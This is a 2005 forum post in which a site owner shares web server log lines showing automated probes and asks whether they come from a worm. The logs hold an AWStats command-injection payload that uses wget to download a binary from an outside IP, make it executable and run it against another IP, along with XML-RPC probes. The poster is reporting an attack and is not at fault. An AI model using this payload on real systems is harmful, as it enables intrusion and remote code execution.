Gossamer Forum
(Advanced Search)
for
Home : General : Chit Chat :

Worm or virus attack?

Nov 10, 2005, 4:05 AM
tandat
Enthusiast (809 posts)
tandat's avatar
Nov 10, 2005, 4:05 AM
Views: 10097
Shortcut
Quote Reply
Worm or virus attack?
Recent days, I found that there were many requests to my site

200.24.31.19 - - [10/Nov/2005:00:34:25 +0000] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.0" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:26 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.0" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:26 +0000] "POST /xmlrpc.php HTTP/1.0" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:28 +0000] "POST /blog/xmlrpc.php HTTP/1.0" 404 306 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:33 +0000] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.0" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:33 +0000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.0" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:34 +0000] "POST /drupal/xmlrpc.php HTTP/1.0" 404 308 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:34 +0000] "POST /phpgroupware/xmlrpc.php HTTP/1.0" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:35 +0000] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.0" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:36 +0000] "POST /wordpress/xmlrpc.php HTTP/1.0" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:37 +0000] "POST /xmlrpc.php HTTP/1.0" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:38 +0000] "POST /xmlrpc/xmlrpc.php HTTP/1.0" 404 308 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
200.24.31.19 - - [10/Nov/2005:00:34:39 +0000] "POST /xmlsrv/xmlrpc.php HTTP/1.0" 404 308 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Luckily, we dont use these software at the moment.

Cheers,

Dat

Programming and creating plugins and templates
Blog
Subject Author Views Date
Thread Worm or virus attack? tandat 10097 Nov 10, 2005, 4:05 AM
Thread Re: [tandat] Worm or virus attack? 		Andy 9882 Nov 10, 2005, 4:09 AM
Thread Re: [Andy] Worm or virus attack? 		tandat 9957 Nov 10, 2005, 4:24 AM
Thread Re: [tandat] Worm or virus attack? 		Andy 9881 Nov 10, 2005, 4:26 AM
Post Re: [Andy] Worm or virus attack? 		tandat 9825 Nov 10, 2005, 4:38 AM
Thread Re: [Andy] Worm or virus attack? 		Hargreaves 9838 Nov 10, 2005, 8:39 AM
Thread Re: [Hargreaves] Worm or virus attack? 		Andy 9888 Nov 10, 2005, 8:42 AM
Post Re: [Andy] Worm or virus attack? 		Hargreaves 9800 Nov 10, 2005, 8:49 AM
Post Re: [tandat] Worm or virus attack? 		Hargreaves 9783 Nov 10, 2005, 8:44 AM
Post Re: [tandat] Worm or virus attack? 		Hargreaves 9805 Nov 10, 2005, 8:53 AM
Post Re: [tandat] Worm or virus attack? 		mkp 9494 Feb 26, 2006, 7:59 AM